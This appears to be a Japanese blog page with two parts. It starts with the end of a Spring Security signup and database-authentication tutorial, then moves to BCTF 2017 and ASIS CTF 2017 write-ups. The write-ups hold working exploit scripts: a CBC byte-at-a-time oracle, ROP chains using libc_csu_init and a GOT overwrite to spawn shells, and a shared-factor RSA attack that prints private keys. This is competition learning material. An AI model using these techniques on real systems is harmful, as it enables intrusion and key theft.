    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;

    @Column(nullable = false, unique = true)
    private String username;

    @Column(nullable = false)
    private String password;

    @Column(nullable = false, unique = true)
    private String mailAddress;

    @Column(nullable = false)
    private boolean mailAddressVerified;

    @Column(nullable = false)
    private boolean enabled;

    @Temporal(TemporalType.TIMESTAMP)
    private Date createdAt;

    @ElementCollection(fetch = FetchType.EAGER)
    @Enumerated(EnumType.STRING)
    @Column(nullable = false)
    private Set<Authority> authorities;

    // JPA requirement
    protected User() {}

    public User(String username, String password, String mailAddress) {
        this.username = username;
        this.password = password;
        this.mailAddress = mailAddress;
        this.mailAddressVerified = false;
        this.enabled = true;
        this.authorities = EnumSet.of(Authority.ROLE_USER);
    }

    @PrePersist
    public void prePersist() {
        this.createdAt = new Date();
    }

    public boolean isAdmin() {
        return this.authorities.contains(Authority.ROLE_ADMIN);
    }

    public void setAdmin(boolean isAdmin) {
        if (isAdmin) {
            this.authorities.add(Authority.ROLE_ADMIN);
        } else {
            this.authorities.remove(Authority.ROLE_ADMIN);
        }
    }

    @Override
    public Collection<? extends GrantedAuthority> getAuthorities() {
        List<GrantedAuthority> authorities = new ArrayList<>();
        for (Authority authority : this.authorities) {
            authorities.add(new SimpleGrantedAuthority(authority.toString()));
        }
        return authorities;
    }

    @Override
    public boolean isAccountNonExpired() {
        return true;
    }

    @Override
    public boolean isAccountNonLocked() {
        return true;
    }

    @Override
    public boolean isCredentialsNonExpired() {
        return true;
    }

    @Override
    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    @Override
    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    @Override
    public boolean isEnabled() {
        return this.enabled;
    }

    public void setEnabled(boolean enabled) {
        this.enabled = enabled;
    }

    public Long getId() {
        return id;
    }

    public String getMailAddress() {
        return mailAddress;
    }

    public void setMailAddress(String mailAddress) {
        this.mailAddress = mailAddress;
    }

    public boolean isMailAddressVerified() {
        return mailAddressVerified;
    }

    public void setMailAddressVerified(boolean mailAddressVerified) {
        this.mailAddressVerified = mailAddressVerified;
    }

    public Date getCreatedAt() {
        return createdAt;
    }

}

ここでは、UserDetailsインタフェースで定義されているisAccountNonExpired()isAccountNonLocked()isCredentialsNonExpired()は使用せず、常にtrueを返すようにしている。 また、isAdmin/setAdminメソッドを実装し、管理者権限の確認と変更を行えるようにしている。

ロールを表すAuthorityはenumで定義し、authoritiesメンバをAuthorityのSetとして定義する。 このようなCollectionを持つメンバについては、@ElementCollection(fetch = FetchType.EAGER)をつけることでDB上のマッピングを行うことができる。 enumの場合はさらに@Enumerated(EnumType.STRING)をつけ、Setインタフェースの実装としてEnumSetクラスを利用する。

続けて、DB操作に対応するRepositoryインタフェースを定義する。

  • src/main/java/com.example/UserRepository.java
package com.example;

import org.springframework.data.repository.CrudRepository;
import org.springframework.stereotype.Repository;

@Repository
public interface UserRepository extends CrudRepository<User, Long> {

    public User findByUsername(String username);

    public User findByMailAddress(String mailAddress);

}

最後に、UserDetailsServiceインタフェースを実装したServiceクラスを作る。

  • src/main/java/com.example/UserService.java
package com.example;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

@Service
public class UserService implements UserDetailsService {

    @Autowired
    private UserRepository repository;

    @Autowired
    private PasswordEncoder passwordEncoder;

    @Override
    public User loadUserByUsername(String username) throws UsernameNotFoundException {
        if (username == null || "".equals(username)) {
            throw new UsernameNotFoundException("Username is empty");
        }

        User user = repository.findByUsername(username);
        if (user == null) {
            throw new UsernameNotFoundException("User not found: " + username);
        }

        return user;
    }

    @Transactional
    public void registerAdmin(String username, String password, String mailAddress) {
        User user = new User(username, passwordEncoder.encode(password), mailAddress);
        user.setAdmin(true);
        repository.save(user);
    }

    @Transactional
    public void registerUser(String username, String password, String mailAddress) {
        User user = new User(username, passwordEncoder.encode(password), mailAddress);
        repository.save(user);
    }

}

loadUserByUsernameメソッドは、ユーザ名を引数に取り対応するUserDetailsかUsernameNotFoundException例外を返す。 ここでは、ユーザ名が空かどうかをチェックした後、そのユーザ名でDBを検索している。

また、registerAdmin/registerUserメソッドでは、DBに保存する前にパスワードをBCryptでハッシュ化する。 passwordEncoderメンバは、@AutoWiredによるDependency Injectionにより、実行時にWebSecurityConfigクラスのメソッドが呼ばれて代入される。

ユーザ登録ページを作る

まず、WebSecurityConfigクラスのpermitAll()/signupを追加し、非ロクインユーザがアクセスできるようにする。

  • src/main/java/com.example.config/WebSecurityConfig.java
package com.example.config;

(snip)

@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

    (snip)

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/", "/signup", "/login", "/login-error").permitAll()
                .antMatchers("/**").hasRole("USER")
                .and()
            .formLogin()
                .loginPage("/login").failureUrl("/login-error");
    }

    (snip)

}

次に、Controllerにユーザ登録ページのエンドポイントを作る。

  • src/main/java/com.example/AuthController.java
package com.example;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.DataIntegrityViolationException;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class AuthController {

    @Autowired
    UserService userService;

    (snip)

    @GetMapping("/signup")
    public String signup(Model model) {
        model.addAttribute("signupForm", new SignupForm());
        return "signup";
    }

    @PostMapping("/signup")
    public String signupPost(Model model, @Valid SignupForm signupForm, BindingResult bindingResult, HttpServletRequest request) {
        if (bindingResult.hasErrors()) {
            return "signup";
        }

        try {
            userService.registerUser(signupForm.getUsername(), signupForm.getPassword(), signupForm.getMailAddress());
        } catch (DataIntegrityViolationException e) {
            model.addAttribute("signupError", true);
            return "signup";
        }

        try {
            request.login(signupForm.getUsername(), signupForm.getPassword());
        } catch (ServletException e) {
            e.printStackTrace();
        }

        return "redirect:/messages";
    }

}
  • src/main/java/com.example/SignupForm.java
package com.example;

import javax.validation.constraints.Pattern;
import javax.validation.constraints.Size;

import org.hibernate.validator.constraints.Email;

public class SignupForm {

    @Pattern(regexp="^\\w{3,32}$", message="size must be between 3 and 32, each character must be alphanumeric or underscore (A-Za-z0-9_)")
    private String username;

    @Size(min=8, max=255)
    private String password;

    @Email
    @Size(min=3, max=255)
    private String mailAddress;

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String getMailAddress() {
        return mailAddress;
    }

    public void setMailAddress(String mailAddress) {
        this.mailAddress = mailAddress;
    }

}

フォームを送信すると、新しいユーザをDBに登録した後、ログインを行い適当なページにリダイレクトする。 このとき、DBのUNIQUE制約違反(DataIntegrityViolationException例外)が発生する場合があることに注意する。

ここでは、ユーザ名のバリデーションに@Patternを用い、正規表現で文字種を制限している。 @Patternのデフォルトのエラーメッセージはユーザに不親切なため、messageパラメータで適切なエラーメッセージを指定しておくとよい。 また、メールアドレスのバリデーションにはHibernate Validator@Emailが使える。

最後に、ユーザ登録ページのテンプレートファイルを作成する。

  • src/main/resources/templates/signup.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="utf-8" />
<title>Sign up page</title>
</head>
<body>
<h1>Sign up page</h1>

<form action="#" th:action="@{/signup}" th:object="${signupForm}" method="post">
    <p th:if="${signupError}"><em>Username or mail address is already used.</em></p>
    
    <p><label for="username">Username</label>:
       <input type="text" id="username" name="username" autofocus="autofocus" />
       <em th:if="${#fields.hasErrors('username')}" th:errors="*{username}">Username Error</em></p>
    <p><label for="password">Password</label>:
       <input type="password" id="password" name="password" />
       <em th:if="${#fields.hasErrors('password')}" th:errors="*{password}">Password Error</em></p>
    <p><label for="mailAddress">Mail address</label>:
       <input type="email" id="mailAddress" name="mailAddress" />
       <em th:if="${#fields.hasErrors('mailAddress')}" th:errors="*{mailAddress}">Mail Address Error</em></p>
    <p><input type="submit" value="Sign up" /></p>
</form>

<p><a th:href="@{/login}">Login</a></p>

<p><a th:href="@{/}">Back to index</a></p>
</body>
</html>

/signupにアクセスしてユーザ登録すると、作成したユーザでログインできていることが確認できる。

f:id:inaz2:20170411013143p:plain

また、既存のユーザ名で新規登録しようとすると正しくエラーが表示されること、ハードコードした管理者アカウントでログインするとロールにROLE_ADMINがついていることが確認できる。

DB認証以外の認証方式

Spring Securityは、ここで利用したインメモリ認証、DB認証の他に、LDAP、CAS、JAAS(Java Authentication and Authorization Service)による認証方式をサポートしている。 また、別プロジェクトとしてOAuthSAMLKerberosを利用するライブラリも開発されている。

注意事項

この記事はライブラリの使い方の説明を主目的としているため、認証機能の実装は簡略化されている。 現実には、メール送信によるメールアドレスの到達性確認、連続ログイン失敗時におけるアカウントロックやディレイ、パスワードリセットやその承認など、要件に応じてさまざまな実装が必要となる。

また、Spring Securityはセキュリティ機能の実装を支援するライブラリであるが、これを利用したアプリケーションそのものがセキュアであるかは別の問題である。 権限によるアクセス制御に不備があれば、直接アクセスすることで権限を持たないユーザが権限を要する情報を閲覧したり、操作を実行できたりしてしまう。 あるいは、セッションを用いた画面遷移のチェックに不備があれば、直接アクセスすることで途中の入力とそのチェックが飛ばされてしまう。 テンプレートエンジンの不適切な使用によるXSSJavaScript中の不適切な実装によるDOM-based XSSもある。 したがってライブラリの有無によらず、設計・実装を適宜確認することと、異常系や考えうる攻撃に対して安全であるかのテストが必要である。

StrutsにおけるOGNLのように、SpringにもSpring Expression Language(SpEL)と呼ばれる式言語がある。 SpELはクラスの参照やプロパティへのアクセス、メソッド呼び出しが可能であり、外部からの入力を含む式を実行するとEL Injection攻撃が成立してしまう。 SpEL式が実行される箇所としてはコード中のSpelExpressionParser#parseExpression()の他に、JSP<spring:message code="" /><spring:eval expression="" />が知られている。

Spring Framework本体や依存ライブラリ、JRE脆弱性についても注意が必要である。 Springを含むPivotal製ソフトウェアの脆弱性情報は次のページで公開されており、ここ一年においてもSpring関係の脆弱性がいくつか報告されている。

多くの場合ライブラリのパッチアップデートが根本的な対策となるため、インターネットに公開するなどリスクが高い場合はパッチアップデートを適用できる状態にしておくのが望ましい。

関連リンク

BCTF 2017 供養(Writeup)

BCTF 2017に参加。767ptで62位。

Checkin (Misc 69)

スコアサーバに表示されているトークンを送る。

$ nc 202.112.51.247 6666
Connection UUID:[redacted]
Token:[redacted]
bctf{N0_PWN_N0_FUN}

monkey (Pwn 327)

Spidermonkeyjsshellが動いている。 helpを見るとos.systemがあり、特に制限なく使うことができた。

$ nc 202.112.51.248 2333
js> help()
(snip)
os - interface object
  os.getenv os.getpid os.system os.spawn os.kill os.waitpid os.file os.path
(snip)
 js> os.system("ls")
os.system("ls")
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
log
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
js> os.system("ls /home")
os.system("ls /home")
js
js> os.system("ls /home/js")
os.system("ls /home/js")
bin
dev
flag
js
lib
lib32
lib64
js> os.system("cat /home/js/flag")
os.system("cat /home/js/flag")
bctf{319c1b47f786c7b99a757da74fd38408}

Hulk (Crypto 869)

ブロック長128 bitのCBCモード暗号。 2回暗号化でき、1回目の平文にはフラグが連結される。 また、2回目のIVは1回目の暗号文の最後のブロックになっている。

$ nc 202.112.51.217 9999
Give me the first hex vaule to encrypt: 0x41414141
plaintext: 0x41414141|flag
ciphertext: 0x78d67c1f9b25f8a1320bf84c1e037f2cdeeb26184517dc48585c03e815f18c760df6094ae64c620f55be51716eb04740
Give me the second hex vaule to encrypt: 0x41414141
plaintext: 0x41414141
ciphertext: 0xc99784c01a45051c43f42e1f8b981bf6

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len('c99784c01a45051c43f42e1f8b981bf6')*4
128

1回目に与える文字数を変えてみると、10文字のとき最後のブロックが増える。 このとき、最後のブロックがpaddingのみであると仮定し、2回目の平文を調整すると実際に暗号化後のブロックが一致する。

from minipwn import *

s = socket.create_connection(('202.112.51.217', 9999))
print recvuntil(s, '0x')

plain1 = '00' * 10
sendline(s, plain1)

m = expect(s, r'ciphertext: 0x(\w+)\n')
cipher1 = m.group(1)
cipher1_blocks = re.findall(r'(\w{32})', cipher1)
print cipher1_blocks

print recvuntil(s, '0x')

test = '\x10'*16
plain2 = xor(test, cipher1_blocks[-2].decode('hex'))
plain2 = xor(plain2, cipher1_blocks[-1].decode('hex'))
plain2 = plain2.encode('hex')
sendline(s, plain2)

m = expect(s, r'ciphertext: 0x(\w+)\n')
cipher2 = m.group(1)
cipher2_blocks = re.findall(r'(\w{32})', cipher2)
print cipher2_blocks

interact(s)
$ python test.py
Give me the first hex vaule to encrypt: 0x
['ff621ece7133119b0ce0be64b4be3313', '8c920847fa1f92f136d12c3c239adaee', 'e5488568e852bd3cced52303c75b3eef', '036e930a2d9c9f176e661cad603b41de']
Give me the second hex vaule to encrypt: 0x
['036e930a2d9c9f176e661cad603b41de', '516bc85ad71223c1281a18737270b4f9']
*** Connection closed by remote host ***

よって、1回目の入力に追加されるフラグは 3*16 - 10 = 38 文字であることがわかる。 あとは、padding oracle attackの要領で、後ろから1文字ずつ特定していくことができる。

from minipwn import *

def attack(n, test):
    s = socket.create_connection(('202.112.51.217', 9999))
    recvuntil(s, '0x')

    plain1 = '00' * (10+n)
    sendline(s, plain1)

    m = expect(s, r'ciphertext: 0x(\w+)\n')
    cipher1 = m.group(1)
    cipher1_blocks = re.findall(r'(\w{32})', cipher1)

    recvuntil(s, '0x')

    test += chr(16-len(test)%16)*(16-len(test)%16)
    k = len(test)/16
    plain2 = xor(test, cipher1_blocks[-k-1].decode('hex'))
    plain2 = xor(plain2, cipher1_blocks[-1].decode('hex'))
    plain2 = plain2.encode('hex')
    sendline(s, plain2)

    m = expect(s, r'ciphertext: 0x(\w+)\n')
    cipher2 = m.group(1)
    cipher2_blocks = re.findall(r'(\w{32})', cipher2)
    s.close()

    return cipher1_blocks[-k] == cipher2_blocks[0]

chars = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`|~ '
s = ''
while len(s) < 38:
    for c in chars:
        s2 = c + s
        if attack(len(s2), s2):
            s = s2
            print s
            break
$ python test.py
}
5}
05}
905}
(snip)
ctf{3c1fffb76f147d420f984ac651505905}
bctf{3c1fffb76f147d420f984ac651505905}

所感

他に解きたかった問題は以下。

  • Baby Sqli (Web 161)
  • babyuse (Pwn 273)
  • foolme (Misc 384)

関連リンク

ASIS CTF Quals 2017 供養(Writeup)

ASIS CTF Quals 2017に参加。1075ptで47位。

Welcome! (Trivia 1)

What is the smallest valid flag for ASIS CTF?

ASIS{}

Start (Pwning/Warm-up 89)

ELF 64-bit、NX、canary無効。

$ file Start_7712e67a188d9690eecbd0c937dfe77dd209f254
Start_7712e67a188d9690eecbd0c937dfe77dd209f254: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1027ea7f426946811b9ba65a666db93a2b5bffac, stripped

$ bash checksec.sh --file Start_7712e67a188d9690eecbd0c937dfe77dd209f254
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   Start_7712e67a188d9690eecbd0c937dfe77dd209f254

スタックバッファオーバーフロー脆弱性がある。

$ ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Segmentation fault (core dumped)

$ gdb ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254 core
Reading symbols from ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254...(no debugging symbols found)...done.

warning: core file may not match specified executable file.
[New LWP 5033]
Core was generated by `./Start_7712e67a188d9690eecbd0c937dfe77dd209f254'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000400551 in ?? ()
(gdb) x/i $pc
=> 0x400551:    ret
(gdb) x/gx $rsp
0x7ffeb5ce6b98: 0x6241396141386141
(gdb) quit

$ python minipwn.py po 0x6241396141386141
24

libc_csu_init gadgetを使ってread関数を呼び、bss領域にシェルコードを書き込んでジャンプすることでシェルを起動する。

from minipwn import *

#s = connect_process(['./Start_7712e67a188d9690eecbd0c937dfe77dd209f254'])
s = socket.create_connection(('139.59.114.220', 10001))

addr_csu_init1 = 0x4005b6
addr_csu_init2 = 0x4005a0
addr_bss = 0x601038
got_read = 0x601018

buf = 'A' * 24
buf += p64(addr_csu_init1) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0x100) + p64(addr_bss) + p64(0)
buf += p64(addr_csu_init2) + p64(0) * 7
buf += p64(addr_bss)
buf = buf.ljust(0x400)

s.sendall(buf)

buf = shellcode['x64'].ljust(0x100)

s.sendall(buf)

interact(s)
$ python test.py
id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
ls
flag
start
cat flag
ASIS{y0_execstack_saves_my_l1f3}

ついでにリモート環境のglibcをチェックしたところ、手元の環境と一致した。

ldd start
        linux-vdso.so.1 =>  (0x00007ffe25593000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2417702000)
        /lib64/ld-linux-x86-64.so.2 (0x000055b406e44000)
/lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu7) stable release version 2.23, by Roland McGrath et al.

Start hard (Pwning 201)

ELF 64-bit、canary無効、NX有効。 上の問題と同様のスタックバッファオーバーフロー脆弱性がある。

$ file start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249
start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c8f1566878cb2ffc7855b9f3b821f3f5c5f11435, stripped

$ bash checksec.sh --file start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249

GOTにread関数しかないので、メモリの書き出しができない。 そこで、read周辺に使えそうなgadgetがないか探したところ、execve("/bin/sh", [rsp+0x70], environ) があった。

$ nm -D -n /lib/x86_64-linux-gnu/libc.so.6 | grep ' read$'
00000000000f6670 W read

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 18c177 /bin/sh

$ objdump -d /lib/x86_64-linux-gnu/libc.so.6 | less
   f0567:       48 8b 05 4a 29 2d 00    mov    rax,QWORD PTR [rip+0x2d294a]        # 3c2eb8 <_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   f056e:       48 8d 74 24 70          lea    rsi,[rsp+0x70]
   f0573:       48 8d 3d fd bb 09 00    lea    rdi,[rip+0x9bbfd]        # 18c177 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f057a:       48 8b 10                mov    rdx,QWORD PTR [rax]
   f057d:       e8 3e b6 fd ff          call   cbbc0 <execve@@GLIBC_2.2.5>

GOTにあるread関数のアドレスを下位2バイトのみ書き換え、上のgadgetに合わせる。 また、合わせて[rsp+0x70]がNULLとなるように調整する。

from minipwn import *

#s = connect_process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'])
s = socket.create_connection(('128.199.152.175', 10001))

addr_csu_init1 = 0x4005b6
addr_csu_init2 = 0x4005a0
got_read = 0x601018

buf = 'A' * 24
buf += p64(addr_csu_init1) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(2) + p64(got_read) + p64(0)
buf += p64(addr_csu_init2) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(0) + p64(0)
buf += p64(addr_csu_init2)
buf = buf.ljust(0x400, '\x00')

s.sendall(buf)

"""
   f0567:       48 8b 05 4a 29 2d 00    mov    rax,QWORD PTR [rip+0x2d294a]        # 3c2eb8 <_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   f056e:       48 8d 74 24 70          lea    rsi,[rsp+0x70]
   f0573:       48 8d 3d fd bb 09 00    lea    rdi,[rip+0x9bbfd]        # 18c177 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f057a:       48 8b 10                mov    rdx,QWORD PTR [rax]
   f057d:       e8 3e b6 fd ff          call   cbbc0 <execve@@GLIBC_2.2.5>
"""

s.sendall('\x67\x05')

interact(s)

書き換えた16ビットのうち、ランダムなのは上位4ビットのみであるため、16分の1の確率でシェルが起動する。

$ python test.py
*** Connection closed by remote host ***

$ python test.py
*** Connection closed by remote host ***

$ python test.py
id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
ls
flag
start_hard
cat flag
ASIS{n0_exec_stack_slapped_ma_f4c3_hehe_____}

Piper TV (Forensics/Misc 159)

pcapファイル。

$ file PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387
PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

最初のパケットのTCPペイロードを取り出してfileコマンドにかけると、MPEG transport stream dataであることがわかる。

$ dd if=a.bin of=b.bin bs=1 skip=$((0x42))

$ file b.bin
b.bin: MPEG transport stream data

Scapyで送信されているTCPペイロードを繋げて保存すると、19秒の動画として再生することができた。

from scapy.all import *

pkts = rdpcap('PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387')
s = ''
for pkt in pkts:
    if pkt[IP].src != '192.168.1.107':
       continue
    s += pkt[TCP].load

with open('a.ts', 'wb') as f:
    f.write(s)

14秒付近で一瞬フラグが表示される。

f:id:inaz2:20170409223357p:plain

ASIS{41bb4b2455763d30b175a2c272ac5430}

unsecure ASIS sub-d (Crypto/Forensics 132)

pcapファイル。

$ file Capture_f558be00a386bf5ac2b568452e565340c921583c
Capture_f558be00a386bf5ac2b568452e565340c921583c: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

Wiresharkで開くと複数のサブドメインに対してHTTPS通信をしており、証明書がsha256WithRSAEncryptionであることがわかる。 そこで、各サーバの証明書からmodulus部分のみを取り出し、Common modulus attackを行うと1組素因数分解することができた。

$ tshark -r Capture_f558be00a386bf5ac2b568452e565340c921583c -x 'ssl.handshake.certificate' >dump.txt
from subprocess import Popen, PIPE
from itertools import combinations
from fractions import gcd

def xxd_r(s):
    p = Popen(['xxd', '-r'], stdin=PIPE, stdout=PIPE)
    p.stdin.write(s)
    p.stdin.close()
    return p.stdout.read()

def get_modulus(s):
    modulus = s[562:819]
    modulus = modulus.encode('hex')
    return int(modulus, 16)

with open('dump.txt') as f:
    data = f.read()

packets = data.rstrip().split('\n\n')
packets = map(xxd_r, packets)
moduluses = map(get_modulus, packets)

for x, y in combinations(moduluses, 2):
    p = gcd(x, y)
    if p != 1:
        print p, x//p
        print p, y//p
$ python test.py
136417036410264428599995771571898945930186573023163480671956484856375945728848790966971207515506078266840020356163911542099310863126768355608704677724047001480085295885211298435966986319962418547256435839380570361886915753122740558506761054514911316828252552919954185397609637064869903969124281568548845615791 146249784329547545035308340930254364245288876297216562424333141770088412298746469906286182066615379476873056564980833858661100965014105001127214232254190717336849507023311015581633824409415804327604469563409224081177802788427063672849867055266789932844073948974256061777120104371422363305077674127139401263621
136417036410264428599995771571898945930186573023163480671956484856375945728848790966971207515506078266840020356163911542099310863126768355608704677724047001480085295885211298435966986319962418547256435839380570361886915753122740558506761054514911316828252552919954185397609637064869903969124281568548845615791 159072931658024851342797833315280546154939430450467231353206540935062751955081790412036356161220775514065486129401808837362613958280183385111112210138741783544387138997362535026057272682680165251507521692992632284864412443528183142162915484975972665950649788745756668511286191684172614506875951907023988325767

素因数分解の結果をもとに、PEM形式でRSA秘密鍵を生成する。

$ ruby rsautil.rb generate
p? 136417036410264428599995771571898945930186573023163480671956484856375945728848790966971207515506078266840020356163911542099310863126768355608704677724047001480085295885211298435966986319962418547256435839380570361886915753122740558506761054514911316828252552919954185397609637064869903969124281568548845615791
q? 146249784329547545035308340930254364245288876297216562424333141770088412298746469906286182066615379476873056564980833858661100965014105001127214232254190717336849507023311015581633824409415804327604469563409224081177802788427063672849867055266789932844073948974256061777120104371422363305077674127139401263621
e? 65537
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAngrEpQXB4trZwDVsEGgyd0joln4QS/+V6AXfrjpiIN+RgB9S
jQ1gVgKyDrZfb7txSq2vDPPdAecimQU750uen4fdeM5WrPDl/wnCqtm/hB/f9sSj
feRqrG95W4KBjilq+KmX8a3o/gOyFlKxjpRdqOAMUWHIOujw3/VDkgAiLtq837bQ
ojKWUGHY7Heze6H5U65fpWn2l3NwQEHEZKsLOy0PHJAqj9vW7vdi6vQozo5/6Cmm
MlyG8x5YFoxeTMPn8uh2LoYFnQy4X5oyLVT9hZFJUozpdP2pXzvKgwHJCvOaIa9K
n1gwdeRR1MPLdSF5srWLj4OoG38rFNnd+CXbawIDAQABAoIBABcd2BmTOALopAUb
S00zEH6mKW8pzVRwdArWIRuo6oWIbg3hhv+ev0KVbln8jwUW08Fqmjo4yVDn8AWV
4Gc6hl8rTlfHRqJRMjMVyGWZKAw5ZVcA+DEH4hqKy6N4+V5D7KOmmtT87SGKhNgD
DHmgdfqnmuWkedc0D1eS1mlan6VemnTxPpbIBvMbk8hqIP3tGvzo4y43PSLyAU/s
uDGxGO8W7aeiRkubsjNLYgrJ8gZ/d9oszGjTCi1UPWeB3iqOtH+AlGu/dKrePFfF
w8WAOa+l/zSiGRnv+DZGnxEY13gggefaL9EoqGYZFx69LWhN6MSkN61FGNIh27QF
Jz7vdfECgYEAwkOps9vQ3Vz9IAcAEzLIosy5f2EpBIpPipVPFl+RZ9e6BgijpdjA
cjuhC+1U3Z3K7Wa67dUjV8NlmUJSw/7EKt7Mn7tYDyuBwTvVMoFHUfMCA/CFeLCE
uyz1KSKJUKUxoIHt5ySqcZKZoTpwGK5J4VYq+aRybUZJvNhPC6Tteq8CgYEA0ERA
SvmWLfHG6/UsLAHBi6vCnRloHP0xdOslvNt1VB8Ig3s5HKxfH7heed0YWu9ZRkwc
WC48eBU38415fcWQPb2bcGz8tNiMiQ8YtM8lCFnmGEl6ftBNE2remlWGEzX0jf2m
XxBFVqmRX7B8EsVCEYlvDgGWD6TMzWslu9YqagUCgYEAs3VKSgrgsf37ICEXYqTh
T/OL0S5yc+1JeZ5gxyxV6PYStQw6ETVg4qZPKfN/GJNyKUljmd3xnlu1eZUZXFH3
6hqUMWMiADGS1m1tkBB5UC0LSZRh2JJIq5jmia+L5mIUrFAa9BKdGfnxzk1rzIEF
YxL09FWEF4p9B+VTcFBVyaUCgYAjUmABF0F0O1w8apF6STX1JUVVdZilyf9YUAVP
eXz1rmm4Ou7dwRJFA/TqACiAS7W9aW0pO3Y/+4FIyka/oQEsp3q0X5egaFW1bR0I
lVU3jF+s4NForpVT5L0qObUKjw0SA+Hyn4TTBOFF9F2mpVPmO4PdQUGdF5swf6qf
p9v7rQKBgHgWzhAsYTiBlXtfnxSxcHIU0BctLUk80lSduQyIVZ7kiSQFbQeKRRwx
r0MGuyehgQq2nof4lqqVG8kS5gltJ/8PDnB/IZCibmyLweBb6DIljtueEBmKZs8z
PQrpPuvLfkQOjIhY97W7u/5abeZzGdzmADUFgIU77ZgIJ+0HE3Fp
-----END RSA PRIVATE KEY-----

$ ruby rsautil.rb generate
p? 136417036410264428599995771571898945930186573023163480671956484856375945728848790966971207515506078266840020356163911542099310863126768355608704677724047001480085295885211298435966986319962418547256435839380570361886915753122740558506761054514911316828252552919954185397609637064869903969124281568548845615791
q? 159072931658024851342797833315280546154939430450467231353206540935062751955081790412036356161220775514065486129401808837362613958280183385111112210138741783544387138997362535026057272682680165251507521692992632284864412443528183142162915484975972665950649788745756668511286191684172614506875951907023988325767
e? 65537
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAq+YvAAPgkyrKgJiS9UeBv0PVpuh67YEc6FsvYP9KfrjWNJC8
OdG6RxalCs35ZRjJ7IDX6guoOprRTGHgw3OKbc7PcDV/XL+KKSuFNRQUXfueUWWE
/weSAV4tm8cnwcZ4CQjeOGAHYpJjp2m/JaD53L+eNg+gAoaPhOQ/ngGBrKosoTDT
YesjvuB6AE6qsmpDwGI6mbCbtRiAw8aSmoxpNnGHuJGk5yPrZ0zmtyiMA5WbLIbd
0uBWwSZaYbsqO0kdO0VjWlgNCj0CKP5/xlZPd1WD6dD6RCBLlDcTfDTmVXA7+LJP
